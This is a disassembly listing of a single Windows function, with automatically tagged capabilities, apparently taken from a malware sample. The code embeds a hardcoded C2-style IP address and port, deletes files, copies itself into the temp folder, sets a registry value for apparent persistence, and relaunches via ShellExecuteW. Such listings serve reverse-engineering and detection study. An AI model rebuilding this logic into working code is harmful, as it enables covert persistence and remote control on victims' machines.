Function at 0x41bdc0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1e7c
call fcn.0040e9f0
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x98], 0
mov word [ebp - 0x4e8], 0
push 0x206
push 0
lea eax, [ebp - 0x4e6]
push eax
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x1418], 0
push 0x206
push 0
lea ecx, [ebp - 0x1416]
push ecx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x1208], 0
push 0x206
push 0
lea edx, [ebp - 0x1206]
push edx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x2d8], 0
xor eax, eax
mov dword [ebp - 0x2d6], eax
mov dword [ebp - 0x2d2], eax
mov dword [ebp - 0x2ce], eax
mov dword [ebp - 0x2ca], eax
mov dword [ebp - 0x2c6], eax
mov dword [ebp - 0x2c2], eax
mov dword [ebp - 0x2be], eax
mov word [ebp - 0x2ba], ax
mov cx, word [0x429158]
mov word [ebp - 0x90], cx
push 0x7e
push 0
lea edx, [ebp - 0x8e]
push edx
call fcn.004012f0
add esp, 0xc
mov ax, word [0x42915c]
mov word [ebp - 0xdf8], ax
push 0x7e
push 0
lea ecx, [ebp - 0xdf6]
push ecx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x574], 0
mov dx, word [0x429160]
mov word [ebp - 0x570], dx
push 0x7e
push 0
lea eax, [ebp - 0x56e]
push eax
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x120c], 0
mov word [ebp - 0x1000], 0
push 0x206
push 0
lea ecx, [ebp - 0xffe]
push ecx
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x2b8], 0
xor edx, edx
mov dword [ebp - 0x2b6], edx
mov dword [ebp - 0x2b2], edx
mov dword [ebp - 0x2ae], edx
mov dword [ebp - 0x2aa], edx
mov dword [ebp - 0x2a6], edx
mov dword [ebp - 0x2a2], edx
mov dword [ebp - 0x29e], edx
mov word [ebp - 0x29a], dx
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x200
push 0
lea eax, [ebp - 0x298]
push eax
call fcn.004012f0
add esp, 0xc
push 1
lea ecx, [ebp - 0x298]
push ecx
call fcn.0040fb60
add esp, 8
mov dword [ebp - 8], eax
push 0
lea edx, [ebp - 0x1618]
push edx
call fcn.0040fb60
add esp, 8
mov dword [ebp - 0x94], eax
push 0x104
lea eax, [ebp - 0x1418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [ebp - 8], 0
je 0x41c2b6
lea ecx, [ebp - 0xf0]
push ecx
push 0x10
lea edx, [ebp - 0x2d8]
push edx
call fcn.004017c5
add esp, 0xc
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.0041a4c0
add esp, 8
lea edx, [ebp - 0xf0]
push edx
call fcn.0041b550
add esp, 4
cmp eax, 1
jne 0x41c017
mov eax, dword [ebp - 0x98]
jmp 0x41c83e
mov word [ebp - 0x1a30], 0
push 0x206
push 0
lea eax, [ebp - 0x1a2e]
push eax
call fcn.004012f0
add esp, 0xc
mov word [ebp - 0x1820], 0
push 0x206
push 0
lea ecx, [ebp - 0x181e]
push ecx
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x1824], 0
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0x1a30]
push eax
call fcn.004013c4
add esp, 8
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x1820]
push edx
call fcn.004013c4
add esp, 8
push str._STOP
lea eax, [ebp - 0x1820]
push eax
call fcn.0040139a
add esp, 8
lea ecx, [ebp - 0x1a30]
push ecx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1824], eax
cmp dword [ebp - 0x1824], 0
je 0x41c14b
mov edx, dword [ebp - 0x1824]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1820]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1824], eax
mov dword [ebp - 0x1a38], 0
lea ecx, [ebp - 0x1a30]
push ecx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1824], eax
cmp dword [ebp - 0x1824], 0
je 0x41c14b
cmp dword [ebp - 0x1a38], 5
jge 0x41c14b
mov edx, dword [ebp - 0x1824]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1a38]
add eax, 1
mov dword [ebp - 0x1a38], eax
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41c0f6
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x4e8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1a34], eax
cmp dword [ebp - 0x1a34], 0
je 0x41c17e
mov dword [ebp - 0x1e7c], 0x429200
jmp 0x41c188
mov dword [ebp - 0x1e7c], 0x429208
lea edx, [ebp - 0x4e8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x110]
push eax
push 0x104
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.004013e0
add esp, 0xc
push 0x429210
push 0x104
lea edx, [ebp - 0x4e8]
push edx
call fcn.004013e0
add esp, 0xc
lea eax, [ebp - 0x4e8]
push eax
call fcn.004022eb
add esp, 4
test eax, eax
jbe 0x41c22f
lea ecx, [ebp - 0x4e8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41c22f
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x1c40]
push eax
call fcn.004013c4
add esp, 8
push 0x42921c
push 0x104
lea ecx, [ebp - 0x1c40]
push ecx
call fcn.004013e0
add esp, 0xc
lea edx, [ebp - 0x4e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x212]
push eax
lea ecx, [ebp - 0x90]
push ecx
call fcn.004013c4
add esp, 8
lea edx, [ebp - 0x294]
push edx
lea eax, [ebp - 0xdf8]
push eax
call fcn.004013c4
add esp, 8
mov cx, word [ebp - 0x214]
mov word [ebp - 0x574], cx
lea edx, [ebp - 0x1f2]
push edx
lea eax, [ebp - 0x570]
push eax
call fcn.004013c4
add esp, 8
mov cx, word [ebp - 0x172]
mov word [ebp - 0x120c], cx
mov edx, dword [ebp - 0xd0]
mov dword [ebp - 0x2dc], edx
lea eax, [ebp - 0x110]
push eax
push 0x10
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.004017c5
add esp, 0xc
jmp 0x41c383
cmp dword [0x42c0a0], 3
jne 0x41c383
push 0x236
push 0
lea edx, [ebp - 0x1e78]
push edx
call fcn.004012f0
add esp, 0xc
lea eax, [ebp - 0x1e78]
push eax
call fcn.0041dad0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41c383
lea ecx, [ebp - 0x1d6a]
push ecx
lea edx, [ebp - 0x90]
push edx
call fcn.004013c4
add esp, 8
lea eax, [ebp - 0xdf8]
push eax
mov ecx, dword [ebp - 0x1d72]
push ecx
call fcn.0041a7b0
add esp, 8
mov dx, word [ebp - 0x1d6e]
mov word [ebp - 0x574], dx
lea eax, [ebp - 0x570]
push eax
mov ecx, dword [ebp - 0x1d78]
push ecx
call fcn.0041a7b0
add esp, 8
mov dx, word [ebp - 0x1d74]
mov word [ebp - 0x120c], dx
push 4
lea eax, [ebp - 0x1e70]
push eax
lea ecx, [ebp - 0x2dc]
push ecx
call fcn.00401460
add esp, 0xc
lea edx, [ebp - 0x1d4a]
push edx
push 0x10
lea eax, [ebp - 0x2d8]
push eax
call fcn.004017c5
add esp, 0xc
cmp dword [ebp - 0x94], 0
je 0x41c461
lea ecx, [ebp - 0x1592]
push ecx
lea edx, [ebp - 0x90]
push edx
call fcn.004013c4
add esp, 8
lea eax, [ebp - 0x1614]
push eax
lea ecx, [ebp - 0xdf8]
push ecx
call fcn.004013c4
add esp, 8
mov dx, word [ebp - 0x1594]
mov word [ebp - 0x574], dx
push 0x429258
lea eax, [ebp - 0x570]
push eax
call fcn.004013c4
add esp, 8
mov cx, word [ebp - 0x14f2]
mov word [ebp - 0x120c], cx
mov edx, dword [0x42c634]
mov dword [ebp - 0x2dc], edx
cmp dword [0x42c0a0], 3
je 0x41c414
push 1
lea eax, [ebp - 0x1000]
push eax
call fcn.0041b620
add esp, 8
jmp 0x41c425
push 0
lea ecx, [ebp - 0x1000]
push ecx
call fcn.0041b620
add esp, 8
lea edx, [ebp - 0x1000]
push edx
lea eax, [ebp - 0x1208]
push eax
call fcn.004013c4
add esp, 8
push str.golfset.ini
push 0x104
lea ecx, [ebp - 0x1208]
push ecx
call fcn.004013e0
add esp, 0xc
lea edx, [ebp - 0x1208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
push 0
lea eax, [ebp - 0x298]
push eax
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x298], 0x504d534d
mov word [ebp - 0x214], 0x51
push str.218.54.31.165
lea ecx, [ebp - 0x294]
push ecx
call fcn.004013c4
add esp, 8
mov word [ebp - 0x172], 0x2b66
push 0x4292a8
lea edx, [ebp - 0x1f2]
push edx
call fcn.004013c4
add esp, 8
push str.AAAA
lea eax, [ebp - 0x212]
push eax
call fcn.004013c4
add esp, 8
mov ecx, dword [0x42c634]
mov dword [ebp - 0xd0], ecx
cmp dword [ebp - 8], 0
jne 0x41c4f0
cmp dword [ebp - 4], 0
jne 0x41c4f0
cmp dword [ebp - 0x94], 0
je 0x41c56f
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x212]
push eax
call fcn.00401050
add esp, 8
lea ecx, [ebp - 0xdf8]
push ecx
lea edx, [ebp - 0x294]
push edx
call fcn.00401030
add esp, 8
mov ax, word [ebp - 0x574]
mov word [ebp - 0x214], ax
lea ecx, [ebp - 0x570]
push ecx
lea edx, [ebp - 0x1f2]
push edx
call fcn.00401030
add esp, 8
mov ax, word [ebp - 0x120c]
mov word [ebp - 0x172], ax
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0xd0], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x41c56f
mov edx, dword [0x42c634]
mov dword [ebp - 0xd0], edx
push 0x4292d0
lea eax, [ebp - 0x1f2]
push eax
call fcn.004013c4
add esp, 8
movzx ecx, word [ebp - 0x294]
test ecx, ecx
je 0x41c599
movzx edx, word [ebp - 0x214]
test edx, edx
jg 0x41c5a3
jmp 0x41c82e
mov dword [ebp - 0x298], 0x504d534d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00402301
add esp, 4
mov word [ebp - 0xd78], 0
push 0x7fe
push 0
lea eax, [ebp - 0xd76]
push eax
call fcn.004012f0
add esp, 0xc
movzx ecx, word [ebp - 0x170]
test ecx, ecx
jne 0x41c60f
lea edx, [ebp - 0xd78]
push edx
push 6
push 5
call fcn.0041ab20
add esp, 0xc
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x170]
push ecx
call fcn.00401050
add esp, 8
movzx edx, word [ebp - 0x150]
test edx, edx
jne 0x41c643
lea eax, [ebp - 0xd78]
push eax
push 6
push 5
call fcn.0041ab20
add esp, 0xc
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0x150]
push edx
call fcn.00401050
add esp, 8
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41c677
lea ecx, [ebp - 0xd78]
push ecx
push 6
push 5
call fcn.0041ab20
add esp, 0xc
lea edx, [ebp - 0xd78]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.00401050
add esp, 8
movzx ecx, word [ebp - 0xf0]
test ecx, ecx
jne 0x41c6d4
lea edx, [ebp - 0xd78]
push edx
push 6
push 5
call fcn.0041ab20
add esp, 0xc
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00401050
add esp, 8
lea edx, [ebp - 0x2d8]
push edx
call fcn.004022eb
add esp, 4
test eax, eax
jbe 0x41c6d4
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00401050
add esp, 8
lea edx, [ebp - 0x2b8]
push edx
call fcn.004022eb
add esp, 4
test eax, eax
je 0x41c6ff
lea eax, [ebp - 0x2b8]
push eax
push 0x10
lea ecx, [ebp - 0x130]
push ecx
call fcn.004017c5
add esp, 0xc
movzx edx, word [ebp - 0x130]
test edx, edx
jne 0x41c733
lea eax, [ebp - 0xd78]
push eax
push 6
push 5
call fcn.0041ab20
add esp, 0xc
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0x130]
push edx
call fcn.00401050
add esp, 8
mov eax, dword [0x42c630]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xd0], 0
jne 0x41c753
mov ecx, dword [0x42c634]
mov dword [ebp - 0xd0], ecx
lea edx, [ebp - 0x298]
push edx
call fcn.0040fa80
add esp, 4
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x41c77b
jmp 0x41c82e
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.0041a4c0
add esp, 8
push 0x32
lea edx, [ebp - 0x4e8]
push edx
lea eax, [ebp - 0x1418]
push eax
call fcn.0041b440
add esp, 0xc
mov dword [ebp - 0x4ec], 0
lea ecx, [ebp - 0x4ec]
push ecx
push 3
push 0
push 0x429360
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41c814
lea edx, [ebp - 0x4e8]
push edx
call fcn.004022eb
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x4e8]
push ecx
push 1
push 0
push 0x4293cc
mov edx, dword [ebp - 0x4ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41c814
mov eax, dword [ebp - 0x4ec]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x42935c
lea ecx, [ebp - 0x4e8]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x98], 1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004012d2
mov esp, ebp
pop ebp
ret